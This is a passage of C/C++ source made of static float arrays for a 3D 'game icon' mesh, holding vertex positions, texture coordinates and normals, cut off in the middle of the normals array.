0.002284f,0.758804f,0.083588f,0.002293f,0.852774f,0.075629f,-0.39312f,0.849503f,0.074693f,-0.395094f,0.756465f,0.082561f, 0.399509f,0.756465f,0.082561f,0.002284f,0.758804f,0.083588f,0.002274f,0.630816f,0.089279f,0.401892f,0.629367f,0.088189f, 0.002284f,0.758804f,0.083588f,-0.395094f,0.756465f,0.082561f,-0.397505f,0.629367f,0.088189f,0.002274f,0.630816f,0.089279f, 0.002274f,0.630816f,0.089279f,-0.397505f,0.629367f,0.088189f,-0.399478f,0.396564f,0.09157f,0.002265f,0.397221f,0.092698f, 0.401892f,0.629367f,0.088189f,0.002274f,0.630816f,0.089279f,0.002265f,0.397221f,0.092698f,0.403842f,0.396564f,0.09157f, -0.916591f,0.389343f,0.064218f,-0.847646f,0.390218f,0.074693f,-0.837759f,0.615357f,0.071886f,-0.90414f,0.613425f,0.061789f, -0.847646f,0.390218f,0.074693f,-0.754564f,0.392188f,0.082561f,-0.747494f,0.619705f,0.079479f,-0.837759f,0.615357f,0.071886f, -0.837759f,0.615357f,0.071886f,-0.747494f,0.619705f,0.079479f,-0.738488f,0.740507f,0.074426f,-0.824221f,0.732405f,0.067487f, -0.90414f,0.613425f,0.061789f,-0.837759f,0.615357f,0.071886f,-0.824221f,0.732405f,0.067487f,-0.885862f,0.728563f,0.058224f, -0.754564f,0.392188f,0.082561f,-0.628465f,0.394595f,0.088189f,-0.624085f,0.625019f,0.084918f,-0.747494f,0.619705f,0.079479f, -0.628465f,0.394595f,0.088189f,-0.399478f,0.396564f,0.09157f,-0.397505f,0.629367f,0.088189f,-0.624085f,0.625019f,0.084918f, -0.624085f,0.625019f,0.084918f,-0.397505f,0.629367f,0.088189f,-0.395094f,0.756465f,0.082561f,-0.618732f,0.749446f,0.079479f, -0.747494f,0.619705f,0.079479f,-0.624085f,0.625019f,0.084918f,-0.618732f,0.749446f,0.079479f,-0.738488f,0.740507f,0.074426f, -0.738488f,0.740507f,0.074426f,-0.618732f,0.749446f,0.079479f,-0.614352f,0.83969f,0.071886f,-0.730326f,0.826251f,0.067487f, -0.618732f,0.749446f,0.079479f,-0.395094f,0.756465f,0.082561f,-0.39312f,0.849503f,0.074693f,-0.614352f,0.83969f,0.071886f, -0.614352f,0.83969f,0.071886f,-0.39312f,0.849503f,0.074693f,-0.392243f,0.917941f,0.064218f,-0.612405f,0.905582f,0.061789f, -0.730326f,0.826251f,0.067487f,-0.614352f,0.83969f,0.071886f,-0.612405f,0.905582f,0.061789f,-0.726455f,0.887439f,0.058224f, -0.885862f,0.728563f,0.058224f,-0.824221f,0.732405f,0.067487f,-0.809968f,0.812104f,0.061777f,-0.864233f,0.804853f,0.054004f, -0.824221f,0.732405f,0.067487f,-0.738488f,0.740507f,0.074426f,-0.730326f,0.826251f,0.067487f,-0.809968f,0.812104f,0.061777f, -0.809968f,0.812104f,0.061777f,-0.730326f,0.826251f,0.067487f,-0.726455f,0.887439f,0.058224f,-0.802664f,0.865969f,0.054004f, -0.864233f,0.804853f,0.054004f,-0.809968f,0.812104f,0.061777f,-0.802664f,0.865969f,0.054004f,-0.844501f,0.846382f,0.050154f, }; static const float cfGameIconTexCoords[] = { 0.098918f,0.907702f,0.118783f,0.916444f,0.115314f,0.892403f,0.089549f,0.889167f, 0.118783f,0.916444f,0.154967f,0.926026f,0.153129f,0.898717f,0.115314f,0.892403f, 0.115314f,0.892403f,0.153129f,0.898717f,0.149254f,0.859921f,0.108547f,0.856305f, 0.089549f,0.889167f,0.115314f,0.892403f,0.108547f,0.856305f,0.07928f,0.854591f, 0.154967f,0.926026f,0.209119f,0.934124f,0.208194f,0.904715f,0.153129f,0.898717f, 0.209119f,0.934124f,0.313652f,0.93964f,0.313236f,0.909095f,0.208194f,0.904715f, 0.208194f,0.904715f,0.313236f,0.909095f,0.312299f,0.867044f,0.206115f,0.863911f, 0.153129f,0.898717f,0.208194f,0.904715f,0.206115f,0.863911f,0.149254f,0.859921f, 0.149254f,0.859921f,0.206115f,0.863911f,0.203573f,0.806797f,0.144978f,0.804425f, 0.206115f,0.863911f,0.312299f,0.867044f,0.311154f,0.808737f,0.203573f,0.806797f, 0.203573f,0.806797f,0.311154f,0.808737f,0.310217f,0.699784f,0.201493f,0.698917f, 0.144978f,0.804425f,0.203573f,0.806797f,0.201493f,0.698917f,0.141621f,0.697857f, 0.07928f,0.854591f,0.108547f,0.856305f,0.102119f,0.802484f,0.070602f,0.801622f, 0.108547f,0.856305f,0.149254f,0.859921f,0.144978f,0.804425f,0.102119f,0.802484f, 0.102119f,0.802484f,0.144978f,0.804425f,0.141621f,0.697857f,0.097425f,0.69699f, 0.070602f,0.801622f,0.102119f,0.802484f,0.097425f,0.69699f,0.064689f,0.696604f, 0.310217f,0.699784f,0.311154f,0.808737f,0.500971f,0.809384f,0.500967f,0.700073f, 0.311154f,0.808737f,0.312299f,0.867044f,0.500976f,0.868088f,0.500971f,0.809384f, 0.500971f,0.809384f,0.500976f,0.868088f,0.68958f,0.867044f,0.690711f,0.808737f, 0.500967f,0.700073f,0.500971f,0.809384f,0.690711f,0.808737f,0.691637f,0.699784f, 0.312299f,0.867044f,0.313236f,0.909095f,0.50098f,0.910555f,0.500976f,0.868088f, 0.313236f,0.909095f,0.313652f,0.93964f,0.500982f,0.941479f,0.50098f,0.910555f, 0.50098f,0.910555f,0.500982f,0.941479f,0.688243f,0.93964f,0.688654f,0.909095f, 0.500976f,0.868088f,0.50098f,0.910555f,0.688654f,0.909095f,0.68958f,0.867044f, 0.310217f,0.699784f,0.500967f,0.700073f,0.500965f,0.505784f,0.309905f,0.505792f, 0.500967f,0.700073f,0.691637f,0.699784f,0.691946f,0.505792f,0.500965f,0.505784f, 0.500965f,0.505784f,0.691946f,0.505792f,0.691637f,0.311325f,0.500967f,0.311013f, 0.309905f,0.505792f,0.500965f,0.505784f,0.500967f,0.311013f,0.310217f,0.311325f, 0.141621f,0.3134f,0.097425f,0.314333f,0.09586f,0.50587f,0.140502f,0.505846f, 0.097425f,0.314333f,0.064689f,0.314748f,0.062719f,0.505881f,0.09586f,0.50587f, 0.09586f,0.50587f,0.062719f,0.505881f,0.064689f,0.696604f,0.097425f,0.69699f, 0.140502f,0.505846f,0.09586f,0.50587f,0.097425f,0.69699f,0.141621f,0.697857f, 0.141621f,0.3134f,0.140502f,0.505846f,0.2008f,0.505816f,0.201493f,0.312259f, 0.140502f,0.505846f,0.141621f,0.697857f,0.201493f,0.698917f,0.2008f,0.505816f, 0.2008f,0.505816f,0.201493f,0.698917f,0.310217f,0.699784f,0.309905f,0.505792f, 0.201493f,0.312259f,0.2008f,0.505816f,0.309905f,0.505792f,0.310217f,0.311325f, 0.098918f,0.098051f,0.118783f,0.088764f,0.115314f,0.070013f,0.089549f,0.088764f, 0.118783f,0.088764f,0.154967f,0.078585f,0.153129f,0.056238f,0.115314f,0.070013f, 0.115314f,0.070013f,0.153129f,0.056238f,0.14647f,0.030613f,0.104205f,0.048635f, 0.089549f,0.088764f,0.115314f,0.070013f,0.104205f,0.048635f,0.073229f,0.072587f, 0.154967f,0.078585f,0.209119f,0.069983f,0.208194f,0.045626f,0.153129f,0.056238f, 0.209119f,0.069983f,0.313652f,0.064123f,0.313236f,0.038853f,0.208194f,0.045626f, 0.208194f,0.045626f,0.313236f,0.038853f,0.31157f,0.009921f,0.204497f,0.017695f, 0.153129f,0.056238f,0.208194f,0.045626f,0.204497f,0.017695f,0.14647f,0.030613f, 0.204497f,0.017695f,0.31157f,0.009921f,0.269666f,0.0f,0.202648f,0.01068f, 0.14647f,0.030613f,0.204497f,0.017695f,0.202648f,0.01068f,0.135631f,0.02136f, 0.104205f,0.048635f,0.14647f,0.030613f,0.135631f,0.02136f,0.100033f,0.042615f, 0.073229f,0.072587f,0.104205f,0.048635f,0.100033f,0.042615f,0.064435f,0.06387f, 0.269666f,0.0f,0.31157f,0.009921f,0.500973f,0.007329f,0.500969f,0.0f, 0.500973f,0.007329f,0.31157f,0.009921f,0.313236f,0.038853f,0.50098f,0.036595f, 0.6903f,0.009921f,0.500973f,0.007329f,0.50098f,0.036595f,0.688654f,0.038853f, 0.500969f,0.0f,0.500973f,0.007329f,0.6903f,0.009921f,0.732272f,0.0f, 0.313236f,0.038853f,0.313652f,0.064123f,0.500982f,0.062169f,0.50098f,0.036595f, 0.50098f,0.036595f,0.500982f,0.062169f,0.688243f,0.064123f,0.688654f,0.038853f, 0.688243f,0.93964f,0.500982f,0.941479f,0.50098f,0.965553f,0.688654f,0.963427f, 0.500982f,0.941479f,0.313652f,0.93964f,0.313236f,0.963427f,0.50098f,0.965553f, 0.50098f,0.965553f,0.313236f,0.963427f,0.31157f,0.990661f,0.500973f,0.993101f, 0.688654f,0.963427f,0.50098f,0.965553f,0.500973f,0.993101f,0.6903f,0.990661f, 0.31157f,0.990661f,0.269666f,1.0f,0.500969f,1.0f,0.500973f,0.993101f, 0.500973f,0.993101f,0.500969f,1.0f,0.732272f,1.0f,0.6903f,0.990661f, 0.064435f,0.939877f,0.100033f,0.959885f,0.104205f,0.954218f,0.073229f,0.931672f, 0.100033f,0.959885f,0.135631f,0.979893f,0.14647f,0.971183f,0.104205f,0.954218f, 0.104205f,0.954218f,0.14647f,0.971183f,0.153129f,0.947062f,0.115314f,0.934095f, 0.073229f,0.931672f,0.104205f,0.954218f,0.115314f,0.934095f,0.089549f,0.916444f, 0.135631f,0.979893f,0.202648f,0.989946f,0.204497f,0.983343f,0.14647f,0.971183f, 0.202648f,0.989946f,0.269666f,1.0f,0.31157f,0.990661f,0.204497f,0.983343f, 0.204497f,0.983343f,0.31157f,0.990661f,0.313236f,0.963427f,0.208194f,0.957052f, 0.14647f,0.971183f,0.204497f,0.983343f,0.208194f,0.957052f,0.153129f,0.947062f, 0.208194f,0.957052f,0.313236f,0.963427f,0.313652f,0.93964f,0.209119f,0.934124f, 0.153129f,0.947062f,0.208194f,0.957052f,0.209119f,0.934124f,0.154967f,0.926026f, 0.115314f,0.934095f,0.153129f,0.947062f,0.154967f,0.926026f,0.118783f,0.916444f, 0.089549f,0.916444f,0.115314f,0.934095f,0.118783f,0.916444f,0.098918f,0.907702f, 0.902043f,0.907702f,0.91132f,0.916444f,0.930054f,0.892403f,0.91132f,0.889167f, 0.930054f,0.892403f,0.91132f,0.916444f,0.927482f,0.931672f,0.951411f,0.902768f, 0.943816f,0.856305f,0.930054f,0.892403f,0.951411f,0.902768f,0.969416f,0.862518f, 0.91132f,0.889167f,0.930054f,0.892403f,0.943816f,0.856305f,0.92149f,0.854591f, 0.927482f,0.931672f,0.93619f,0.939877f,0.957425f,0.906662f,0.951411f,0.902768f, 0.951411f,0.902768f,0.957425f,0.906662f,0.97866f,0.873446f,0.969416f,0.862518f, 0.943816f,0.856305f,0.969416f,0.862518f,0.982322f,0.805934f,0.954418f,0.802484f, 0.969416f,0.862518f,0.97866f,0.873446f,0.98933f,0.807659f,0.982322f,0.805934f, 0.982322f,0.805934f,0.98933f,0.807659f,1.0f,0.741872f,0.990089f,0.698531f, 0.982322f,0.805934f,0.990089f,0.698531f,0.961185f,0.69699f,0.954418f,0.802484f, 0.92149f,0.854591f,0.943816f,0.856305f,0.954418f,0.802484f,0.930084f,0.801622f, 0.930084f,0.801622f,0.954418f,0.802484f,0.961185f,0.69699f,0.935938f,0.696604f, 0.935938f,0.696604f,0.961185f,0.69699f,0.96344f,0.50587f,0.93789f,0.505881f, 0.96344f,0.50587f,0.961185f,0.69699f,0.990089f,0.698531f,0.992677f,0.505827f, 0.961185f,0.314333f,0.96344f,0.50587f,0.992677f,0.505827f,0.990089f,0.312674f, 0.93789f,0.505881f,0.96344f,0.50587f,0.961185f,0.314333f,0.935938f,0.314748f, 0.990089f,0.698531f,1.0f,0.741872f,1.0f,0.505805f,0.992677f,0.505827f, 0.992677f,0.505827f,1.0f,0.505805f,1.0f,0.269739f,0.990089f,0.312674f, 0.064435f,0.939877f,0.073229f,0.931672f,0.049066f,0.902768f,0.042992f,0.906662f, 0.049066f,0.902768f,0.073229f,0.931672f,0.089549f,0.916444f,0.070633f,0.892403f, 0.030884f,0.862518f,0.049066f,0.902768f,0.070633f,0.892403f,0.056735f,0.856305f, 0.042992f,0.906662f,0.049066f,0.902768f,0.030884f,0.862518f,0.021549f,0.873446f, 0.089549f,0.916444f,0.098918f,0.907702f,0.089549f,0.889167f,0.070633f,0.892403f, 0.070633f,0.892403f,0.089549f,0.889167f,0.07928f,0.854591f,0.056735f,0.856305f, 0.030884f,0.862518f,0.056735f,0.856305f,0.046029f,0.802484f,0.017852f,0.805934f, 0.056735f,0.856305f,0.07928f,0.854591f,0.070602f,0.801622f,0.046029f,0.802484f, 0.046029f,0.802484f,0.070602f,0.801622f,0.064689f,0.696604f,0.039196f,0.69699f, 0.046029f,0.802484f,0.039196f,0.69699f,0.010008f,0.698531f,0.017852f,0.805934f, 0.021549f,0.873446f,0.030884f,0.862518f,0.017852f,0.805934f,0.010774f,0.807659f, 0.010774f,0.807659f,0.017852f,0.805934f,0.010008f,0.698531f,0.0f,0.741872f, 0.0f,0.269739f,0.0f,0.505805f,0.007394f,0.505827f,0.010008f,0.312673f, 0.0f,0.505805f,0.0f,0.741872f,0.010008f,0.698531f,0.007394f,0.505827f, 0.007394f,0.505827f,0.010008f,0.698531f,0.039196f,0.69699f,0.036918f,0.50587f, 0.010008f,0.312673f,0.007394f,0.505827f,0.036918f,0.50587f,0.039196f,0.314333f, 0.039196f,0.69699f,0.064689f,0.696604f,0.062719f,0.505881f,0.036918f,0.50587f, 0.036918f,0.50587f,0.062719f,0.505881f,0.064689f,0.314748f,0.039196f,0.314333f, 0.688243f,0.064123f,0.792572f,0.069983f,0.793487f,0.045626f,0.688654f,0.038853f, 0.792572f,0.069983f,0.846453f,0.078585f,0.848273f,0.056238f,0.793487f,0.045626f, 0.793487f,0.045626f,0.848273f,0.056238f,0.854867f,0.030613f,0.797148f,0.017695f, 0.6903f,0.009921f,0.688654f,0.038853f,0.793487f,0.045626f,0.797148f,0.017695f, 0.846453f,0.078585f,0.882371f,0.088764f,0.885805f,0.070013f,0.848273f,0.056238f, 0.882371f,0.088764f,0.902043f,0.098051f,0.91132f,0.088764f,0.885805f,0.070013f, 0.885805f,0.070013f,0.91132f,0.088764f,0.927482f,0.072587f,0.896806f,0.048635f, 0.848273f,0.056238f,0.885805f,0.070013f,0.896806f,0.048635f,0.854867f,0.030613f, 0.896806f,0.048635f,0.927482f,0.072587f,0.93619f,0.06387f,0.900938f,0.042615f, 0.854867f,0.030613f,0.896806f,0.048635f,0.900938f,0.042615f,0.865686f,0.02136f, 0.797148f,0.017695f,0.854867f,0.030613f,0.865686f,0.02136f,0.798979f,0.01068f, 0.6903f,0.009921f,0.797148f,0.017695f,0.798979f,0.01068f,0.732272f,0.0f, 0.688243f,0.93964f,0.688654f,0.963427f,0.793487f,0.957052f,0.792572f,0.934124f, 0.793487f,0.957052f,0.688654f,0.963427f,0.6903f,0.990661f,0.797148f,0.983343f, 0.848273f,0.947062f,0.793487f,0.957052f,0.797148f,0.983343f,0.854867f,0.971183f, 0.792572f,0.934124f,0.793487f,0.957052f,0.848273f,0.947062f,0.846453f,0.926026f, 0.6903f,0.990661f,0.732272f,1.0f,0.798979f,0.989946f,0.797148f,0.983343f, 0.797148f,0.983343f,0.798979f,0.989946f,0.865686f,0.979893f,0.854867f,0.971183f, 0.848273f,0.947062f,0.854867f,0.971183f,0.896806f,0.954218f,0.885805f,0.934095f, 0.854867f,0.971183f,0.865686f,0.979893f,0.900938f,0.959885f,0.896806f,0.954218f, 0.896806f,0.954218f,0.900938f,0.959885f,0.93619f,0.939877f,0.927482f,0.931672f, 0.896806f,0.954218f,0.927482f,0.931672f,0.91132f,0.916444f,0.885805f,0.934095f, 0.846453f,0.926026f,0.848273f,0.947062f,0.885805f,0.934095f,0.882371f,0.916444f, 0.882371f,0.916444f,0.885805f,0.934095f,0.91132f,0.916444f,0.902043f,0.907702f, 0.691637f,0.699784f,0.690711f,0.808737f,0.798063f,0.806796f,0.800123f,0.698917f, 0.690711f,0.808737f,0.68958f,0.867044f,0.795546f,0.863911f,0.798063f,0.806796f, 0.798063f,0.806796f,0.795546f,0.863911f,0.85211f,0.859921f,0.856345f,0.804425f, 0.800123f,0.698917f,0.798063f,0.806796f,0.856345f,0.804425f,0.859669f,0.697857f, 0.68958f,0.867044f,0.688654f,0.909095f,0.793487f,0.904715f,0.795546f,0.863911f, 0.688654f,0.909095f,0.688243f,0.93964f,0.792572f,0.934124f,0.793487f,0.904715f, 0.793487f,0.904715f,0.792572f,0.934124f,0.846453f,0.926026f,0.848273f,0.898717f, 0.795546f,0.863911f,0.793487f,0.904715f,0.848273f,0.898717f,0.85211f,0.859921f, 0.85211f,0.859921f,0.848273f,0.898717f,0.885805f,0.892403f,0.892507f,0.856305f, 0.848273f,0.898717f,0.846453f,0.926026f,0.882371f,0.916444f,0.885805f,0.892403f, 0.885805f,0.892403f,0.882371f,0.916444f,0.902043f,0.907702f,0.91132f,0.889167f, 0.892507f,0.856305f,0.885805f,0.892403f,0.91132f,0.889167f,0.92149f,0.854591f, 0.859669f,0.697857f,0.856345f,0.804425f,0.898872f,0.802484f,0.903521f,0.69699f, 0.856345f,0.804425f,0.85211f,0.859921f,0.892507f,0.856305f,0.898872f,0.802484f, 0.898872f,0.802484f,0.892507f,0.856305f,0.92149f,0.854591f,0.930084f,0.801622f, 0.903521f,0.69699f,0.898872f,0.802484f,0.930084f,0.801622f,0.935938f,0.696604f, 0.691637f,0.311325f,0.691946f,0.505792f,0.800809f,0.505816f,0.800123f,0.312259f, 0.691946f,0.505792f,0.691637f,0.699784f,0.800123f,0.698917f,0.800809f,0.505816f, 0.800809f,0.505816f,0.800123f,0.698917f,0.859669f,0.697857f,0.860777f,0.505846f, 0.800123f,0.312259f,0.800809f,0.505816f,0.860777f,0.505846f,0.859669f,0.3134f, 0.859669f,0.697857f,0.903521f,0.69699f,0.90507f,0.50587f,0.860777f,0.505846f, 0.903521f,0.69699f,0.935938f,0.696604f,0.93789f,0.505881f,0.90507f,0.50587f, 0.90507f,0.50587f,0.93789f,0.505881f,0.935938f,0.314748f,0.903521f,0.314333f, 0.860777f,0.505846f,0.90507f,0.50587f,0.903521f,0.314333f,0.859669f,0.3134f, 0.0f,0.269739f,0.010008f,0.312673f,0.017852f,0.203923f,0.010774f,0.202091f, 0.017852f,0.203923f,0.010008f,0.312673f,0.039196f,0.314333f,0.046029f,0.207588f, 0.030884f,0.14549f,0.017852f,0.203923f,0.046029f,0.207588f,0.056735f,0.152091f, 0.010774f,0.202091f,0.017852f,0.203923f,0.030884f,0.14549f,0.021549f,0.134442f, 0.039196f,0.314333f,0.064689f,0.314748f,0.070602f,0.208504f,0.046029f,0.207588f, 0.046029f,0.207588f,0.070602f,0.208504f,0.07928f,0.153913f,0.056735f,0.152091f, 0.030884f,0.14549f,0.056735f,0.152091f,0.070632f,0.114303f,0.049066f,0.103292f, 0.056735f,0.152091f,0.07928f,0.153913f,0.089549f,0.117742f,0.070632f,0.114303f, 0.070632f,0.114303f,0.089549f,0.117742f,0.098918f,0.098051f,0.089549f,0.088764f, 0.070632f,0.114303f,0.089549f,0.088764f,0.073229f,0.072587f,0.049066f,0.103292f, 0.021549f,0.134442f,0.030884f,0.14549f,0.049066f,0.103292f,0.042992f,0.099156f, 0.042992f,0.099156f,0.049066f,0.103292f,0.073229f,0.072587f,0.064435f,0.06387f, 0.935938f,0.314748f,0.961185f,0.314333f,0.954418f,0.207588f,0.930084f,0.208504f, 0.954418f,0.207588f,0.961185f,0.314333f,0.990089f,0.312674f,0.982322f,0.203923f, 0.943816f,0.152092f,0.954418f,0.207588f,0.982322f,0.203923f,0.969416f,0.145491f, 0.930084f,0.208504f,0.954418f,0.207588f,0.943816f,0.152092f,0.92149f,0.153913f, 0.990089f,0.312674f,1.0f,0.269739f,0.98933f,0.202091f,0.982322f,0.203923f, 0.982322f,0.203923f,0.98933f,0.202091f,0.97866f,0.134442f,0.969416f,0.145491f, 0.943816f,0.152092f,0.969416f,0.145491f,0.951411f,0.103292f,0.930054f,0.114304f, 0.969416f,0.145491f,0.97866f,0.134442f,0.957425f,0.099156f,0.951411f,0.103292f, 0.951411f,0.103292f,0.957425f,0.099156f,0.93619f,0.06387f,0.927482f,0.072587f, 0.951411f,0.103292f,0.927482f,0.072587f,0.91132f,0.088764f,0.930054f,0.114304f, 0.92149f,0.153913f,0.943816f,0.152092f,0.930054f,0.114304f,0.91132f,0.117742f, 0.91132f,0.117742f,0.930054f,0.114304f,0.91132f,0.088764f,0.902043f,0.098051f, 0.688243f,0.064123f,0.688654f,0.096571f,0.793487f,0.101224f,0.792572f,0.069983f, 0.688654f,0.096571f,0.68958f,0.140684f,0.795546f,0.144012f,0.793487f,0.101224f, 0.793487f,0.101224f,0.795546f,0.144012f,0.85211f,0.14825f,0.848273f,0.107596f, 0.792572f,0.069983f,0.793487f,0.101224f,0.848273f,0.107596f,0.846453f,0.078585f, 0.68958f,0.140684f,0.690711f,0.200945f,0.798063f,0.203007f,0.795546f,0.144012f, 0.690711f,0.200945f,0.691637f,0.311325f,0.800123f,0.312259f,0.798063f,0.203007f, 0.798063f,0.203007f,0.800123f,0.312259f,0.859669f,0.3134f,0.856345f,0.205526f, 0.795546f,0.144012f,0.798063f,0.203007f,0.856345f,0.205526f,0.85211f,0.14825f, 0.85211f,0.14825f,0.856345f,0.205526f,0.898872f,0.207588f,0.892507f,0.152092f, 0.856345f,0.205526f,0.859669f,0.3134f,0.903521f,0.314333f,0.898872f,0.207588f, 0.898872f,0.207588f,0.903521f,0.314333f,0.935938f,0.314748f,0.930084f,0.208504f, 0.892507f,0.152092f,0.898872f,0.207588f,0.930084f,0.208504f,0.92149f,0.153913f, 0.846453f,0.078585f,0.848273f,0.107596f,0.885805f,0.114304f,0.882371f,0.088764f, 0.848273f,0.107596f,0.85211f,0.14825f,0.892507f,0.152092f,0.885805f,0.114304f, 0.885805f,0.114304f,0.892507f,0.152092f,0.92149f,0.153913f,0.91132f,0.117742f, 0.882371f,0.088764f,0.885805f,0.114304f,0.91132f,0.117742f,0.902043f,0.098051f, 0.68958f,0.140684f,0.688654f,0.096571f,0.50098f,0.095021f,0.500976f,0.139575f, 0.688654f,0.096571f,0.688243f,0.064123f,0.500982f,0.062169f,0.50098f,0.095021f, 0.50098f,0.095021f,0.500982f,0.062169f,0.313652f,0.064123f,0.313236f,0.096571f, 0.500976f,0.139575f,0.50098f,0.095021f,0.313236f,0.096571f,0.312299f,0.140684f, 0.68958f,0.140684f,0.500976f,0.139575f,0.500971f,0.200258f,0.690711f,0.200945f, 0.500976f,0.139575f,0.312299f,0.140684f,0.311154f,0.200945f,0.500971f,0.200258f, 0.500971f,0.200258f,0.311154f,0.200945f,0.310217f,0.311325f,0.500967f,0.311013f, 0.690711f,0.200945f,0.500971f,0.200258f,0.500967f,0.311013f,0.691637f,0.311325f, 0.064689f,0.314748f,0.097425f,0.314333f,0.102119f,0.207588f,0.070602f,0.208504f, 0.097425f,0.314333f,0.141621f,0.3134f,0.144978f,0.205526f,0.102119f,0.207588f, 0.102119f,0.207588f,0.144978f,0.205526f,0.149254f,0.14825f,0.108547f,0.152092f, 0.070602f,0.208504f,0.102119f,0.207588f,0.108547f,0.152092f,0.07928f,0.153913f, 0.141621f,0.3134f,0.201493f,0.312259f,0.203573f,0.203007f,0.144978f,0.205526f, 0.201493f,0.312259f,0.310217f,0.311325f,0.311154f,0.200945f,0.203573f,0.203007f, 0.203573f,0.203007f,0.311154f,0.200945f,0.312299f,0.140684f,0.206115f,0.144012f, 0.144978f,0.205526f,0.203573f,0.203007f,0.206115f,0.144012f,0.149254f,0.14825f, 0.149254f,0.14825f,0.206115f,0.144012f,0.208194f,0.101224f,0.153129f,0.107596f, 0.206115f,0.144012f,0.312299f,0.140684f,0.313236f,0.096571f,0.208194f,0.101224f, 0.208194f,0.101224f,0.313236f,0.096571f,0.313652f,0.064123f,0.209119f,0.069983f, 0.153129f,0.107596f,0.208194f,0.101224f,0.209119f,0.069983f,0.154967f,0.078585f, 0.07928f,0.153913f,0.108547f,0.152092f,0.115314f,0.114304f,0.089549f,0.117742f, 0.108547f,0.152092f,0.149254f,0.14825f,0.153129f,0.107596f,0.115314f,0.114304f, 0.115314f,0.114304f,0.153129f,0.107596f,0.154967f,0.078585f,0.118783f,0.088764f, 0.089549f,0.117742f,0.115314f,0.114304f,0.118783f,0.088764f,0.098918f,0.098051f, }; static const float cfGameIconNormals[] = { -0.210457f,-0.226211f,0.951071f,-0.137777f,-0.231234f,0.963093f,-0.113627f,-0.120055f,0.986243f,-0.216181f,-0.146015f,0.965373f, -0.137777f,-0.231234f,0.963093f,-0.083714f,-0.234126f,0.968595f,-0.06603f,-0.119508f,0.990635f,-0.113627f,-0.120055f,0.986243f, -0.113627f,-0.120055f,0.986243f,-0.06603f,-0.119508f,0.990635f,-0.062379f,-0.064577f,0.995961f,-0.113032f,-0.068284f,0.991242f, -0.216181f,-0.146015f,0.965373f,-0.113627f,-0.120055f,0.986243f,-0.113032f,-0.068284f,0.991242f,-0.219508f,-0.086774f,0.971744f, -0.083714f,-0.234126f,0.968595f,-0.036722f,-0.235389f,0.971207f,-0.028482f,-0.119193f,0.992463f,-0.06603f,-0.119508f,0.990635f, -0.036722f,-0.235389f,0.971207f,-0.010823f,-0.235649f,0.971778f,-0.008321f,-0.119124f,0.992845f,-0.028482f,-0.119193f,0.992463f, -0.028482f,-0.119193f,0.992463f,-0.008321f,-0.119124f,0.992845f,-0.007465f,-0.063717f,0.99794f,-0.026099f,-0.06375f,0.997625f, -0.06603f,-0.119508f,0.990635f,-0.028482f,-0.119193f,0.992463f,-0.026099f,-0.06375f,0.997625f,-0.062379f,-0.064577f,0.995961f, -0.062379f,-0.064577f,0.995961f,-0.026099f,-0.06375f,0.997625f,-0.025391f,-0.025563f,0.999351f,-0.061589f,-0.026301f,0.997755f, -0.026099f,-0.06375f,0.997625f,-0.007465f,-0.063717f,0.99794f,-0.007172f,-0.02556f,0.999648f,-0.025391f,-0.025563f,0.999351f, -0.025391f,-0.025563f,0.999351f,-0.007172f,-0.02556f,0.999648f,-0.007161f,-0.00707f,0.999949f,-0.025395f,-0.007088f,0.999652f, -0.061589f,-0.026301f,0.997755f,-0.025391f,-0.025563f,0.999351f,-0.025395f,-0.007088f,0.999652f,-0.061548f,-0.00739f,0.998077f, -0.219508f,-0.086774f,0.971744f,-0.113032f,-0.068284f,0.991242f,-0.112752f,-0.028685f,0.993209f,-0.22077f,-0.037047f,0.974622f, -0.113032f,-0.068284f,0.991242f,-0.062379f,-0.064577f,0.995961f,-0.061589f,-0.026301f,0.997755f,-0.112752f,-0.028685f,0.993209f, -0.112752f,-0.028685f,0.993209f,-0.061589f,-0.026301f,0.997755f,-0.061548f,-0.00739f,0.998077f,-0.112673f,-0.008234f,0.993598f, -0.22077f,-0.037047f,0.974622f,-0.112752f,-0.028685f,0.993209f,-0.112673f,-0.008234f,0.993598f,-0.221f,-0.010721f,0.975215f, -0.007161f,-0.00707f,0.999949f,-0.007172f,-0.02556f,0.999648f,0.0f,-0.025624f,0.999672f,0.0f,-0.007089f,0.999975f, -0.007172f,-0.02556f,0.999648f,-0.007465f,-0.063717f,0.99794f,0.0f,-0.06378f,0.997964f,0.0f,-0.025624f,0.999672f, 0.0f,-0.025624f,0.999672f,0.0f,-0.06378f,0.997964f,0.007472f,-0.063716f,0.99794f,0.007179f,-0.025559f,0.999648f, 0.0f,-0.007089f,0.999975f,0.0f,-0.025624f,0.999672f,0.007179f,-0.025559f,0.999648f,0.007169f,-0.00707f,0.999949f, -0.007465f,-0.063717f,0.99794f,-0.008321f,-0.119124f,0.992845f,0.0f,-0.119133f,0.992878f,0.0f,-0.06378f,0.997964f, -0.008321f,-0.119124f,0.992845f,-0.010823f,-0.235649f,0.971778f,0.0f,-0.235564f,0.971859f,0.0f,-0.119133f,0.992878f, 0.0f,-0.119133f,0.992878f,0.0f,-0.235564f,0.971859f,0.010835f,-0.23565f,0.971778f,0.008329f,-0.119124f,0.992845f, 0.0f,-0.06378f,0.997964f,0.0f,-0.119133f,0.992878f,0.008329f,-0.119124f,0.992845f,0.007472f,-0.063716f,0.99794f, -0.007161f,-0.00707f,0.999949f,0.0f,-0.007089f,0.999975f,0.0f,0.0f,1.0f,-0.007181f,0.0f,0.999974f, 0.0f,-0.007089f,0.999975f,0.007169f,-0.00707f,0.999949f,0.007189f,0.0f,0.999974f,0.0f,0.0f,1.0f, 0.0f,0.0f,1.0f,0.007189f,0.0f,0.999974f,0.00717f,0.007027f,0.99995f,0.0f,0.007045f,0.999975f, -0.007181f,0.0f,0.999974f,0.0f,0.0f,1.0f,0.0f,0.007045f,0.999975f,-0.007163f,0.007027f,0.99995f, -0.061553f,0.007347f,0.998077f,-0.112675f,0.008187f,0.993598f,-0.112665f,0.0f,0.993633f,-0.061598f,0.0f,0.998101f, -0.112675f,0.008187f,0.993598f,-0.220997f,0.010655f,0.975216f,-0.220914f,-1.0E-6f,0.975293f,-0.112665f,0.0f,0.993633f, -0.112665f,0.0f,0.993633f,-0.220914f,-1.0E-6f,0.975293f,-0.221f,-0.010721f,0.975215f,-0.112673f,-0.008234f,0.993598f, -0.061598f,0.0f,0.998101f,-0.112665f,0.0f,0.993633f,-0.112673f,-0.008234f,0.993598f,-0.061548f,-0.00739f,0.998077f, -0.061553f,0.007347f,0.998077f,-0.061598f,0.0f,0.998101f,-0.025456f,0.0f,0.999676f,-0.025398f,0.007046f,0.999653f, -0.061598f,0.0f,0.998101f,-0.061548f,-0.00739f,0.998077f,-0.025395f,-0.007088f,0.999652f,-0.025456f,0.0f,0.999676f, 